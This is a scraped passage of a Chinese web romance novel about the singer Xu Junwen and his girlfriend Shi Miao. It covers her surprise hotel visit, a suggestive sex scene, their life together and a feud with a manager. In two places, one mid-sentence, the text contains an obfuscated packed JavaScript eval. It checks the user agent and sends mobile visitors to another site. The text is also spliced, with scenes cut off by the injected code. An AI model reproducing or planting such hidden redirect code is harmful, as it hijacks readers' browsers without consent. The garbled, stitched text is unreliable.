这也就是为什么,时不时网上就会爆出某些唱跳歌手在演唱会上“假唱”——并不是所有人都能完成这么高强度的工作的。 “是是是,我折腾。” 褚辰敷衍地摆了摆手,知道许钧闻只是开玩笑,并没有往心里去。 反正他也没少当面吐槽许钧闻。 “怎么说,哥们我今天够给你面子吧?” 褚辰扬了扬下巴:“我的演唱会,到头来最出风头的竟然是你这个‘神秘嘉宾’,如果这都不算爱啊?许老师?” “下一章新专辑的歌,给你留一首的档期。” 褚辰现在的经纪公司之前就在和许钧闻工作室接触,想约首歌作为褚辰下一章专辑的主打歌,顺便也借此营销一下两人的“兄弟情”。 “不行,两首。” 褚辰伸手比了个“二”的手势:“我因为你,恐怕今晚的热搜前三砸钱买都买不上去,这么大的牺牲,你居然想只用一首歌就打发我?” 许钧闻睨了褚辰一眼:“去和豪哥谈。” “你——” “给你打个折。” 许钧闻抓起手机,打了个响指:“车到了,我先回了。” “哎,不一起吃饭了?” 为了庆祝演唱会顺利圆满结束,褚辰的团队在酒店定了包间,张罗着大家一起吃顿“庆功宴”。 “不了,回去早点休息了。” 许钧闻已经自顾自地站起身:“明早的飞机。” “啧啧啧……” 褚辰自然知道许钧闻这么着急回江城的原因。 一开始,他就问过许钧闻,为什么不直接从发过飞来他这边。 谁料想许钧闻给她的回答竟然是“要回去见女朋友”。 因此,许钧闻演唱会结束后这么着急就要赶回江城的原因,褚辰不用猜都知道了: “归心似箭啊,许钧闻,没想到你居然也有今天。也不知道舒予她们知道以后作何感想呢?” 许钧闻不论是外形还是气质,放在花团锦簇、俊男靓女辈出的娱乐圈里也是相当惹眼的存在。因此即便他无心,也有不少圈内女星、圈外富婆对他有意。 新晋视后舒予,也在当年被许钧闻拒绝过的女艺人的行列当中。 “我是真的很好奇,连舒予这种级别的女星都争不赢的女人,到底是什么样子?”褚辰单手撑在沙发扶手上,支着脑袋看着走到休息室门口的许钧闻,“什么时候带你的女朋友出来给兄弟见一见?就当是开开眼了。” “她不用跟任何人争。” 许钧闻打开门,助理小松已经等在门口了。 稍稍偏头,许钧闻那双似乎永远潋滟多情的桃花眼里带着些许暖意,是褚辰认识他这么长时间从来没有见过的神色。 “她只要出现在我的世界里,什么都不用做,我就输得很彻底了。” 不管她想要什么,许钧闻都会双手奉上,甘之如饴。 * 从体育场回到下榻的酒店,刷卡进屋,已是深夜。 “哥,现在就准备睡了?” 小松放下手里的包,环顾了一圈,忽然提议道:“中午就没怎么吃,又忙了一晚上,要不要点些宵夜什么的吃一吃?” “怎么,你饿了?” 想到小松也是马不停蹄地陪着他三天之内飞过两个国家、辗转三个城市,许钧闻大手一挥:“等下我在群里发红包,你想吃什么就自己点一些。” “你这几天确实也辛苦了,不用急着和我一起回江城,反正接下来也没什么重要行程需要赶了,你要是想留在这里玩一玩的话就自己把机票改签一些,在这边多待几天,就当是我给你放假了。” 许钧闻自己是不可能在这里多留的,要不是临走前答应了时缈会照顾好自己,不再连夜赶航班了的话,他恨不得现在就收拾收拾去机场,坐最近一班飞机赶回江城。 跑丢了的兔子好不容易被叼回窝里,他可一定得看紧一点。 “呃……” 小松挠了挠头。 虽然有假放对于他一个娱乐圈打工人来说是一件非常值得开心的事情,但目前他最重要的任务可不是要考虑放假要去哪里玩的问题啊! “哥,你真的不需要吃点什么东西吗?” 小松绞尽脑汁地想出一个说辞:“豪哥交代过的,时缈姐说了,一定要把你照顾好,千万不能让你有一顿没一顿的,那样对胃很不好的。” “哦。” 许钧闻点点头,难得如此从善如流地答应:“那就吃一点吧,吃什么你看着办就好。” “……好的。” 小松点点头,一边拿出手机,一边在心底吐槽。平日里许钧闻一投入工作就常常废寝忘食、作息颠倒,他和豪哥并不是没有劝过,但收效甚微。 现在倒好,搬出时缈的名号,都不用多劝,许钧闻就毫不犹豫地照单全收了。 “那哥你先休息,我回去收拾一下,等下夜宵到了我给你送过来。” 小松收起手机,同许钧闻道别,见许钧闻点头,忙不迭回到隔壁自己的房间里去了。 许钧闻其实不怎么饿。一是因为他只是表演嘉宾而已,并没有像褚辰那么大的体力消耗;二则是他早就习惯了这种生活节奏,为了维持上镜状态,少吃或者不吃对艺人来说已经是生活常态。 但谁让小松那小子搬出了时缈呢? 想起时缈,许钧闻摸出手机发了条消息。 两小时前,他结束表演,下台后给时缈发去一条消息,问她这会儿正在做什么。 「时缈:加班。舞团这边有点事需要紧急处理一下。」 「时缈:你那边忙完了?演出如何?」 心情相当不错的许钧闻勾着唇角,也不介意刚刚被他当着数十万在线网友隔空单方面表白官宣的对象根本不知道发生了什么,刚才还在拨弄琴弦的修长手指快速敲击了几下屏幕: 「许钧闻:表演当然很顺利,你还不相信我的实力?」 「许钧闻:不打扰你了,你先忙,下班的时候告诉我一声。」 而时缈那边,两小时前的对话框中,简单地回复了一个“好”字之后,就再也没有音讯。 到底是出了什么事情,加班到这么晚还没回家? 许钧闻有些奇怪,但也没有直接打电话过去,生怕万一时缈真的还在忙,不想让自己的电话打扰到她工作。 于是许钧闻只好继续给她发消息: 「许钧闻:忙完了没有?」 「许钧闻:要是回家的话记得告诉我,打车的话把车牌号和行程单也发给我。」 大约五分钟后,时缈回复他: 「时缈:在回家的路上了。不用担心。」 许钧闻这才拨了个电话过去。 刚刚接通两秒钟,就被挂断。 「时缈:好几个同事拼车,不方便接电话。」 哦。 好吧。 差点忘了,他现在还是她“见不得光的地下情人”呢。 略有些烦躁地用舌尖顶了顶口腔侧边的软肉,许钧闻最终还是败下阵来: 「许钧闻:好吧,那我先去洗漱了,你到家了记得告诉我。」 「时缈:好,等下再跟你说。」 看着窗外变换的风景,和行人稀少的街道,时缈的心脏像是下一刻就要跳出来似的。 她从没有做过这样的事情——因为一句话、一首歌,立刻买了最近一趟航班的机票,连夜从一个城市飞往另一个城市,在陌生的街头坐着出租车,奔赴另一个的身边。 她好像,有些能够体会到,许钧闻当年从国内飞去英国、这次从法国飞回江城,只为更快得和她见上一面时的心情了。 原来,如此迫切地奔向另一个人,是一件如此令人既紧张又期待的事情。 * 许钧闻洗漱完毕,小松点的外卖还没送到,时缈那边也没有消息传来。 「许钧闻:在干什么?」 点开朋友圈,恰好刷到褚辰五分钟前发的照片,配文是:庆功宴等待ing。 许钧闻随手发了条消息过去。 也没有得到回复。 百无聊赖地打开电视随便选开了一集综艺,夸张的罐头笑声回荡在房间里,空档寂静的屋子里总算有了点热闹的动静。 以前也不是没有过这样结束工作后一个人躺在酒店的房间里的时刻,可不知道为什么,偏偏现在,许钧闻没由 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下一刻,房间门被敲响: “笃,笃,笃。” “房门口就行了。”许钧闻扬声道。 “笃笃笃。” 屋外的人不依不饶,又敲了一遍。 “房门口——”许钧闻不耐烦地应答。 “笃笃。” “我都说了放在门口。” 许钧闻随手抓起床头的鸭舌帽,扣在头上,帽檐压得极低,大步走到门口,带着浑身的低气压猛得拉开房门。 “先生,您的外卖。” 时缈提着一带热乎乎的夜宵,笑吟吟地站在门口。 许钧闻原本一脸不耐烦的模样,在看见站在自己房间门口的人的那一刻,变成了错愕和震惊。 “喂,许钧闻?” 时缈伸手在许钧闻的眼前挥了挥:“发什么愣呢?” 见他没有反应,时缈轻笑,作势将手里的夜宵挂在门把手上:“既然许大明星不让我进门,那我就走咯,祝您用餐愉快。” 手腕被人握住,时缈只感觉到身后一股很大的力气将她不容拒绝地拽了过去。 房间门“啪”的一声被甩上。 若不是时缈眼疾手快地攥紧了装着夜宵的保温袋,恐怕她手里拿可怜的还冒着热气的食物就要被无情地关在门外了。 “你——” 时缈还没来得及说话,唇齿就被人堵住,像是误入风暴中心,狂风与海浪一道接一道地扑打在她身上,几乎让她站立不稳。 “你怎么来了?” 终于,在一个急促而又漫长的深吻过后,许钧闻一手垫在时缈的后脑勺上,另一只手揉了揉时缈发红的耳根,低声问。 “怎么,不欢迎?” 时缈抬起眼睫,去看他的眼睛,不甘示弱地反问。 可她眼尾的薄红将她的气势削弱了一大半。 “欢迎啊,”许钧闻低头亲亲她的眉心和眼睛,落在她脸侧的手时不时的捏一捏她的耳朵,然后再摩挲一下她的侧脸,“但我还是想知道,你为什么会来这里?” 那个答案,他们两人都心知肚明。 可许钧闻偏要时缈亲口说出来才肯罢休。 时缈轻笑,伸手环抱住许钧闻的腰,将自己整个人埋进他的怀里: “想了你,所以就来了啊。” “许钧闻,这一次,换我赶来见你了。” “怎么样,开心吗?”她从他怀里仰起头,一双杏眼亮晶晶的,倒映着他的身影。 这一刻,她的视野里再也容不下其他任何东西,满满当当地只装着眼前的人。 “当然开心。”许钧闻揉了揉时缈的头发,感受着怀里切切实实柔软的躯体和她的发丝划过他掌心所留下的触觉。 不是梦,也不是幻想。 她真的来见他了。 “有多开心?”时缈挑眉,话赶话地问道。 许钧闻低头,一双桃花眼一瞬不瞬地盯着她。 黢黑的瞳仁里仿佛藏着一只野兽,蛰伏着,随时准备将她这只猎物毫不留情地一口吞掉。 托着她后脑勺的手滑到她的脖颈,许钧闻的手指捏了捏她后颈,意味不明地勾了个笑。 富有磁性的嗓音略有些低沉,带着蛊人的尾调: “我有多开心,你马上就能知道了。” 75. 75首情歌 很快,时缈确实就已经“亲身感受”到许钧闻的情绪了。 她手里的夜宵刚刚放到桌上,还没来得及说话,就被从身后逼近的许钧闻揽住腰。 从大学到现在,许钧闻一直保持着健身的习惯,而时缈的身材又一直保持得很好,以致于许钧闻可以轻而易举地像现在这样,单手圈住她的腰,另一只手甚至还能腾出空来将桌上零零碎碎七七八八的东西随意拂开。 然后将她掉了个个儿,放在桌面上坐着。 “你干什么。” 时缈伸手,推抵住他的肩膀:“我专门给你带了吃的。” “现在不饿。” 其实许钧闻如果真想逼近,时缈这点力气是阻止不了他的。 可他就乐得顺着她,于是便从善如流地止住了动作,要笑不笑地盯着时缈的脸瞧着:“我女朋友秀色可餐。” “……” 如果换个地方,时缈或许还会觉得这不过是一句随口而言的玩笑。 但他们现在所处的时间和地点,以及他们两个人现在颇为危险的姿势,让时缈忍不住怀疑,许钧闻所谓的“秀色可餐”到底是哪个方面的意味。 “看过演唱会了?”他问。 除了这件事之外,许钧闻想不到其他能让时缈在今晚马不停蹄地奔赴他身边的理由。 “还联合我的助理一起瞒着我?” 许钧闻了然地挑了下眉。 往常他吃饭时间极其不规律的时候,豪哥和小松也会劝他,但如果他仍然坚持,那么他们就不会继续强行改变他的作息,而是提前备一些吃的,等他什么时候提出要吃东西的时候再第一时间给他送过来。 而不是像今天这样,絮絮叨叨地叮嘱个没完没了。 原来是带着“任务”的。 时缈吐舌:“确实,是我不让他们告诉你的。况且,你不是说了吗,有事的话就给你的经纪人打电话。” * 为了给许钧闻一个惊喜,时缈并不想让他提前知道自己会来,于是,为了得到他的大概行程时间表和入住的酒店,她主动联系了豪哥。 “那小子刚在人家的演唱会上整了这么大的阵仗,这会儿恐怕所有的娱记狗仔都在往他那边赶呢。” 豪哥有些头疼地揉了揉眉心:“所以我临时给他和小松换了家酒店,等下让小松把地址定位发给你,你过去的时候小心一点,别被人认出来了。” 参加过《适合恋爱的夏天》之后,时缈现在大小也算是个“名人”了,下班路上逛超市的时候还被人认了出来,路人还十分热情地邀请她一起拍了张合照。 要是在这个节骨眼上被狗仔拍到她和许钧闻同框的画面,恐怕再多的钱也封不住这帮娱乐八卦记者的嘴了—— 毕竟,比起从许钧闻工作室这里敲一笔不菲的“封口费”,如果拍到“许钧闻神秘女友曝光,竟是同档恋综素人女嘉宾”这样的新闻,简直称得上是他们狗仔生涯的一个高光时刻。 因此时缈赶来的一路上打起了十二万分精神,坐上出租车之前还不忘左右观察的样子差点引来热心且十分擅长脑补的出租车司机师傅的怀疑: “姑娘,一个人啊?” “对。” 时缈点点头,一边给小松发消息,询问他们现在的位置,一边随口应付司机师傅:“来这边找人。” “师傅,这个酒店,麻烦您快一点哈。” 时缈将收到的酒店地址输入到地图软件里,伸手举给司机看。 “去酒店找人啊?” 看时缈面色有些焦急的样子,司机师傅忍不住从后视镜里打量了她一番:“找男朋友?” “对。”时缈点点头。 司机师傅恍然大悟:“好嘞,坐稳了哈姑娘,很快就到了。” 司机师傅踩着油门左拐右拐,一开始导航上显示需要四十分钟的路程硬生生被师傅抄着近路给缩短了将近一半。 * “真是辛苦了,我很高兴。” 许钧闻将她抱进怀里,毛茸茸的脑袋凑到她颈窝处蹭了蹭,像一只正在撒娇的大狗狗。 但很快,撒娇的大狗子就露出了肉食动物的秉性。 许钧闻的唇瓣贴在时缈颈侧大动脉的位置,鼻尖呼出的热气扑洒在她脖颈处白皙又敏感的皮肤上。 激得她感觉自己的身体几乎立刻麻了半边。 “许钧闻……” 时缈推了推他的肩膀,有些艰难地开口:“我还,没洗澡。” “那就先亲一会儿,等会儿去。”许钧闻捏着她的下巴,同她接了一个漫长到几乎将她胸膛里所有氧气悉数耗尽的吻。 * 要求许钧闻再三保证不会趁着她洗澡的时候偷偷开门进来后,——以前这家伙的确干过一回这种事,淋着热水在浴室里把她翻来覆去地折腾了好久,气得时缈一整个晚上都不想搭理他,时缈这才抱着浴袍和浴巾钻进浴室。 热水在浴室里氤氲出一片升腾的白雾,将时缈整个人笼罩在里面。 待洗完澡,又在浴室里举着吹风机把头发全部吹干,时缈站在镜子前磨蹭了好一会儿,实在避无可避了,才慢吞吞地走出去。 许钧闻正靠在床头看电视,投影在幕布上的综艺节目里,他很熟悉的艺人正在接受节目组的惩罚,白色的泡沫糊了他满头满脸。 但他此时并没有心思去“欣赏”熟人的狼狈模样—— “舍得出来了?不知道的还以为你今天晚上打算住在浴室里了,”许钧闻勾着唇,打趣道,“我刚还在想,如果你还不出来的话,我就过去把你抱出来了。” “……那倒也不用。” 时缈拢了拢浴袍领口,忽然有些不自在。 两个成年人,深更半夜共处一室,他们对今晚所即将要发生的一切心知肚明。 明明他们曾经是对方最亲密的人,但此刻,时缈忽然没由来地感到一阵紧张。 “站那儿干什么?真打算让我去抱你过来啊?”许钧闻拍了拍自己身侧的空位置,像是想到了什么似的,他勾唇一笑,慢条斯理地喊她,“公主殿下?” * 时缈站在镜子前,看着自己一身狼狈地样子,有些懊恼地揉了揉自己的长发。 一整个酸奶碗,她还没吃几口,一个不小心就全部“喂”给了这身衣服。尤其是许钧闻还切了小半个红心火龙果放了进去,紫红色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14191987|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的汁液染在她白色的衣服上,尤为扎眼。 “叩叩。” 洗手间的门被人从外面敲响。 “怎么了?”时缈扬声问。 “给你拿了一件我的T恤放在门口,你将就穿一下。” 许钧闻的声音隔着门板传来。 “哦,好。” 时缈点点头,想到门外的人看不见她的动作,赶忙应声,然后又补充道:“谢谢。” “还有。” “什么?” “把门锁好。” 时缈一愣。 她没想到许钧闻会主动跟她说这个。 “嗯,知道。” 时缈轻声回答,“咔哒”一声,洗手间的门被她从里面反锁。 虽然就算许钧闻不说,她也会这么做。 之所以还有些犹豫,是在担心自己如果锁了门,许钧闻会不会觉得她这是在变相表达对他的不信任什么的。 但真当许钧闻主动提醒她锁门,时缈心里又没由来地感觉有些怪怪的—— “那可是许钧闻!” 当得知前阵子时缈喝醉酒后留宿许钧闻的出租屋,但两人之间什么都没有发生的时候,顾梦瑶恨铁不成钢地抓着时缈的胳膊使劲摇:“你知道我们学校有多少人肖想你男朋友吗?甚至有人放过话说哪怕不谈恋爱,睡一觉也行!” “一朵人人觊觎个个想摘的高岭之花,就这么落在你手里了,你居然只是把它摆起来供着?” 顾梦瑶上下打量了时缈一番,最终拍了拍她的肩:“况且,就你这身段、这长相,许钧闻要是真对你一点兴趣都没有的话,我就该怀疑他有问题了。” 换好衣服,对着镜子整理头发的时候,时缈又忍不住透过镜子上下打量了自己一番。 许钧闻的短袖T恤对她来说还是有些太大了。 时缈今天原本穿了一件白T搭配了一条牛仔短裤,许钧闻的衣服一套上身,下摆轻而易举地把牛仔短裤整个遮住,只漏出一双纤细而笔直的长腿。 她有些不自在地扯了扯衣服的下摆,打开门,站在洗手间门口。 “衣服先放在那里,等下我搜搜看要怎么把果汁印洗干净。” 客厅里坐在沙发上的许钧闻听见动静,回过头。 没有小说里写的什么“眸子中闪过一丝惊艳或是暗光”之类的,他神色如常,朝时缈招招手: “怎么还不过来?” 他同她开玩笑:“难不成还要我过去把你抱过来啊,公主殿下?” * 那时候她是怎么回答的来着? 似乎是摆了摆手,忙不迭地自己走到了许钧闻的身边,和他一起在手机浏览器上搜索“衣服上沾了火龙果汁该怎么办”。 时缈靠在洗手间门口的墙壁上,从回忆里回过神。 蓬松的长发散发着洗发水残留的香气,隐隐约约丝丝缕缕地将她整个人包裹起来。 和许钧闻刚才拥抱她时,身上沾染着气味一模一样。 “好啊。” 时缈站在原地,张开双臂。 “许钧闻。” 她叫他的名字。 “过来抱我。” 76. 76首情歌 许钧闻将时缈打横抱起,三两步走到床边。 将人扔到床上的同时,许钧闻顺势将自己的长腿卡在了时缈的双膝之间。 之前那一点紧张,在被许钧闻吻住的那一刻瞬间烟消云散。 ——他对她实在是太过熟悉,即便阔别六年,许钧闻还是能够轻而易举地将她从内而外地唤醒。 许钧闻修长的手指挤进时缈的指缝里,将她的手掌扣在床上,整个人以一种不容拒绝的姿态将她罩起来。 时缈半眯着眼,视线里除了许钧闻的脸之外再也看不见其他。 他身上的薄荷味褪去,取而代之的是和她身上如出一辙的洗发水和沐浴露的香气。 这味道在半空中相遇,纠缠融合成一道暧昧旖旎的气息。 就和此刻的他们一样。 贴着时缈小腹的掌心带着薄茧,微妙地触感让她忍不住打了个颤。 狼向来是一种很有耐心的动物。 狼王在叼住了猎物的弱点之后,并没有一击致命,而是饶有兴致地逗弄着爪下几乎没有还手之力了的兔子。 利爪划过猎物柔软的肚皮,一点一点用力,像是很喜欢看自己的盘中餐红着眼睛打颤的模样。 而作为狼王今夜唯一的晚餐的兔子全然招架不住,它的心脏跳得飞快,双腿蹬了蹬以示抗议,可换来的是猎手更加恶劣地挑.逗。 头狼的爪子磨得尖锐而锋利,陷进猎物鲜嫩的皮肉里,指尖转动,碾住某一处,不依不饶地屈指弹动。 时缈仰着脖颈,感觉自己变成了一条搁浅的鱼,成为许钧闻砧板上唯一的猎物,也是唯一的玩具。 明明是夜里,可她却觉得房间里像是有九只金乌围绕着她,将她的体温烘得越来越高,水分加速流失。 时缈应该要求饶的。 可她几乎说不出一个完整的句子。 她白皙而纤细的手掌紧握住许钧闻的手腕,却没能阻止这位猎手亲手拆解自己最喜爱的一只猎物。 “有点可惜。” 喘.息间,许钧闻轻咬了一下时缈的耳垂,低笑出声。 “什么?”时缈眯着眼睛,大脑混沌一片,根本没有听清他到底说的是什么。 “我说,有点可惜。”伏在时缈的耳畔,许钧闻火热的气息扑在她的皮肤上,激起一阵又一阵战栗。 “你抽屉里准备的东西,没来得及用上。” 猎人拿起武器,食客紧握餐具。 许钧闻从床头摸出一只盒子,将里面的东西哗啦啦地倒在时缈的耳边:“七个颜色,选一只?” 紧接着,他又否定自己的问题:“算了,反正都是要用的。” 时缈先是愣了一下,大脑慢半拍地把许钧闻话里的含义消化完,想起上次被许钧闻无意间看到的抽屉里的东西,脸颊发烫,恼羞成怒地推了他一把,不肯接话。 可偏偏许钧闻还要继续逗她: “不知道你喜欢哪种,刚好,回去之后和你买的那些对比一下,下次你自己买的话可以选你喜欢的,我给你报销账单。” 时缈侧过头,躲开他的唇,半嗔半臊地瞪了许钧闻一眼。 可先前她才被许钧闻折腾得一双杏眼含着水雾,这一眼不但不像是警告和威胁,反而更像是小情侣玩闹时的小情.趣。 “谁说是为了你准备的了。” 明明整个人都被许钧闻桎梏着,可偏偏时缈还要嘴硬。 “哦,那你说说看,是给谁准备的?” 许钧闻眯了眯眼,神色危险,手下的力道更重了些:“我听听看,你还准备和谁一起用呢?” 时缈头皮发麻,去推他的手臂。 “问你呢,说话。”许钧闻指尖勾起,将她为数不多地理智搅得一团乱麻。 “我……我留着年底艾.滋.病宣传日的时候到街上发去……做公益,参加志愿服务,不行吗?” 时缈吸了口凉气,偏过头,透过窗帘的缝隙,隐约瞧见了一颗星星。 下一秒,她整个人瞬间绷紧,视野恍惚了一刻,定睛再想去找那颗星星的时候,却发现那一线罅隙处只有漆黑如墨的夜景。 那颗星星划过夜空,坠入了她的身体里。 * 一早回江城的机票果然最终还是改签了。 深夜,时缈累极,倦意席卷全身,在沉沉睡去之前还不忘指着许钧闻要他保证今晚到此结束。 “好,我保证。”许钧闻举起右手放在耳边。 时缈眯着眼睛:“你刚才在浴室里也是这么说的。” 许钧闻揉了一把她的头发,浅笑:“这次我真的保证。” “睡吧。” 给时缈拉了拉被子,许钧闻从床头柜上拿起手机。 下一刻,住在对门正边“听”电影边打游戏的小松手机震动起来: 「哥:机票改签吧。」 「哥:改到明天下午。」 「哥:不。」 「哥:后天下午吧。」 他就知道。 他!就!知!道! 他哥就是个恋爱脑! 小松翻开自己的购票软件,将机票信息截图出来—— 一个合格的助理,就是应该在自家艺人发话之前,预判他的预判。 「小松:[截图]」 「小松:已经改好了哥。」 许钧闻那边很快就有了新的回复: 「哥:[转账]」 「哥:明天放你假,自己玩去吧。」 恋爱脑就恋爱脑吧,谁会不喜欢一个一言不合就爆金币的领导呢? * 时缈下班回家,一推门,就看见坐随意盘腿坐在地毯上逗弄着小猫的身影。 许钧闻手里捏着根逗猫棒,垂眸看着努力勾着逗猫棒上的流速却始终够不到的小家伙,勾了勾唇角:“笨。” “哪有你这样的,逗人家还嫌人家笨。” 客厅中弥漫着饭菜的香气。 自从演唱会结束,两人回到江城后,许钧闻就堂而皇之、大摇大摆地登堂入室了。 “许钧闻,你每天赖在我这里,真的可以吗?”时缈不解地问道,“豪哥难道不催你去出新歌、跑行程吗?” “唉,大概是快要过气了吧,”许钧闻挠着小猫咪的下巴,回过头,仰面看着朝他走来的时缈,语气里倒是一点遗憾和担忧都听不出,“要是我过气了,时编导愿意养我吗?” 时缈托着下巴,装模作样地想了一下:“你吃得多吗?吃太多的话我可养不起。” 许钧闻笑起来:“不多不多,而且我会的很多的,喂猫做饭、打扫卫生,还可以给你暖.床。” “??” 时缈睖他一眼。 这人现在是越发没羞没臊了。 “那你还是找个班上上吧,消耗消耗精力。”时缈话里有话。 这几天,许钧闻像是要把过去六年的空白尽数全部补上似的,她没一天能按时上床早睡早起的。 可偏偏大家都是折腾到深夜,只有她第二天还要起床准时去舞团上班,罪魁祸首始作俑者却能够心安理得地在她的床上睡到自然醒。 这可太不公平了。 “你别说,下周还真有个班要上了。” 许钧闻坐直身体:“下周五晚上,节目上线首播,导演组联系你了没?” 时缈点点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240279|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >配合节目组和视频平台进行录播版节目的宣传,也是合约中非常重要的一部分内容。导演不仅在嘉宾群里提醒了他们,还专门给每个嘉宾都打了电话,确认大家的行程和时间。 下周五晚上八点整,节目正式在星光TV上线。 节目组安排嘉宾们分成几组,每周每集节目上线时打开直播,在线陪看。 但周五毕竟是节目开播第一期,所以自然是所有人都要参与这场直播的。 “下周五,你回你自己家里住去。”时缈一锤定音。 她这公寓并不算大,哪怕是在房间里,稍微动静大一些,客厅里也能听见个七七八八。 万一被网友们听见点什么动静,恐怕除了当晚的热搜,最先爆炸的就应该是《适合恋爱的夏天》的导演了。 许钧闻虽然在她面前没个正型,但对待工作上的事情,许钧闻还是很认真的。 时缈的决定也是他的想法。 时缈想了想,补充道:“把圆圆也带回去。” “喵~” 听见时缈叫到自己的名字,小布偶挣扎着要从许钧闻的怀里跳出来,朝着时缈的方向软软糯糯地叫唤。 “小没良心,见了娘就忘了爹了是吧。”许钧闻虚虚握着小猫的爪子,不让它溜走。 一人一猫幼稚地拉扯了好一阵,看得时缈忍俊不禁。 虽然她对养宠物这件事起初并没有太大的想法和兴趣,但这段时间和圆圆相处下来,她倒也真的开始习惯了家里有这么个小家伙的存在了。 它会在时缈叫它的时候朝她飞奔过来,用柔软湿.润的小舌头轻舔她的指尖;也会在时缈为它准备罐头的时候,绕着她的裤腿打转。 尤其是她下班回家,看见一人一猫靠在一起休息玩耍的时候,时缈感觉胸膛微微发热,心脏被一种温暖和热意充满。 这种温暖和热意,或许就叫做“家”吧。 但时缈为许钧闻考虑得十分周全:“你之前不是在节目里提到自己养了猫吗,到时候万一有粉丝们问起来,可别穿帮了。” “嗯。” 许钧闻点点头。 忽然,他像是想到了什么:“要不把你一起接到我那里去吧?反正我在那个小区买了两套房子,楼上楼下,有时候小松和豪哥会在楼下那套房子的客房里小住一下。两个房子每周都有固定的保洁打扫,你只需要拎包入住就好了。” “省得我们一家三口两地分居。你说呢?” 时缈摇头:“你那房子买了又不是一天两天了,小区附近狗仔肯定不少,把我接过去,万一被拍到呢?我每天还要出门上班呢,进进出出的,总归是不保险。” 她总不能请长假不出门吧? 况且《姗姗》的第一轮演出即将进入尾声,舞团领导目前有想法将她这部舞剧送去国外评奖,在报送信息资料之前,她还要带着演员们把这部剧再仔细复盘打磨一下。 “我可以安排人每天接送你,他们对付狗仔跟拍这种事都很有经验的。而且那个小区的安保很好,是不会轻易放陌生人进来。”许钧闻对答如流。 “……” 时缈缓缓皱眉。 许钧闻并不是一个做事不考虑后果的人。 更不是一个会为了自己,不顾她的感受的人。 明明知道这样做有可能会提前暴露他们之间的关系,有可能引来节目观众和他的粉丝对她的声讨。 可许钧闻还是想把她接到自己身边去住。 那只能说明,有什么事情,是比恋情暴露更让许钧闻担忧的。 “你说实话,许钧闻。” 时缈格外严肃地叫他的名字:“你是不是有什么事情瞒着我?” 77. 77首情歌 “我就是有点担心,如果孟巍那边真打算把你的料放出来给自己挡枪的话,你离我近一点我也方便照顾你。” 许钧闻神情严肃,电话那边的豪哥沉吟一瞬,也跟着劝道:“确实,时缈,要不你也搬过来吧,这样就算真有什么情况,也方便大家一起商量对策。” 顿了顿,他补充道:“不过你放心,就算钧闻不说,我也会尽最大能力不把你卷进这趟浑水里的。说到底,这毕竟还是娱乐圈里的事,孟巍那些事,早晚有一天要把他和他的艺人都拖下水。” 时缈垂着眸子,平静地听完两人说的所有话,将事情的前因后果彻底捋清—— 前阵子,为了保护时缈,许钧闻答应了不起诉孟巍和Xing乐队,但并不代表他真的决定就这样放过孟巍。 这些年,为了给自己的艺人撕资源,孟巍得罪的圈内人也不少,而为了大肆敛财,某些上不得台面的灰色手段他也并非一点没沾。 许钧闻知道,以孟巍的性格,如果不能一击必中,必然会遭到他后续无穷无尽的报复。 所以他必须找到一些证据,能够让孟巍彻底从这个圈子里销声匿迹的证据。 恰好,正如很多人所知道的,褚辰的前经纪人和孟巍不对付很久了,只是鉴于孟巍背靠经纪公司高层,有人为他保驾护航,所以褚辰的前经纪人也不想当这个“出头鸟”去得罪一些不能得罪的人。 这次有许钧闻主动站出来要当这杆“枪”,不仅是top级的顶流,还是曾经孟巍带过的艺人,褚辰的前经纪人自然乐得给许钧闻提供一些用得上的消息。 “虽然我对你们娱乐圈的‘潜规则’并不了解,但这种事情,你怎么到现在才告诉我。” 时缈正色道:“我不是害怕被牵扯或是被曝光,和你在一起的时候我就做好了受到大众关注的心理准备,只是你什么都不告诉我,只会让我更加担心。” 她伸出手,牵住他的手指:“我不想做一个只会躲在你身后被你严严实实保护起来的胆小鬼,我想光明正大堂堂正正地和你并肩站在一起,面对一切的困难,承担我作为你女朋友应该承担的责任,接受所有人的祝福,也让所有喜欢你的粉丝们放心——我不是那种影响你事业、拖你后腿的拖油瓶。” 时缈语速放慢:“比起被审视、被发现,甚至被攻击,我更害怕的是对你的事情一无所知。” “我可以搬去你那里住,但同样的,如果你们考虑的事情可能与我有关,那么我希望你在做任何决定之前,都能够坦诚地告知我。我一定会尽最大的努力去配合你。” 她知道,很多事情许钧闻的团队自然会有应对措施,也没必要和她一个外行人“商量”,所以时缈用的是“告知”。 她不需要参与任何决策,但她希望拥有最起码的知情权。 许钧闻仔细地打量着时缈。 他印象里那个十指不沾阳春水、遇事不决先求援的小姑娘,好像在他未曾参与的时光里,变得精神独立、内心强大。 这种变化让她变得更加迷人,也让许钧闻忍不住有些心疼。 “那……” 电话那端的豪哥始终没有听见对面的动静,一咬牙一闭眼,率先打破了沉默:“那我让保洁阿姨把房子重新收拾一下?关于时小姐要住过来的这件事咱们就这么说定了,是吧?” “嗯。” 许钧闻一锤定音: “就先这样,你先忙吧,我们这边还有点事。” “啊?” 时缈的声音隐隐约约传出来:“还有什么……哎?” “嘟,嘟,嘟……” 通话被毫不留情地挂断。 豪哥张了张嘴,无奈地叹了口气。 原本还想问一下,有没有什么生活用品需要他帮忙添置的。 年轻人,有什么事不能稍微等下再慢慢解决的? * “时缈,你看看,这屋子里还缺什么,随时跟哥说,哥让人给你买回来。” 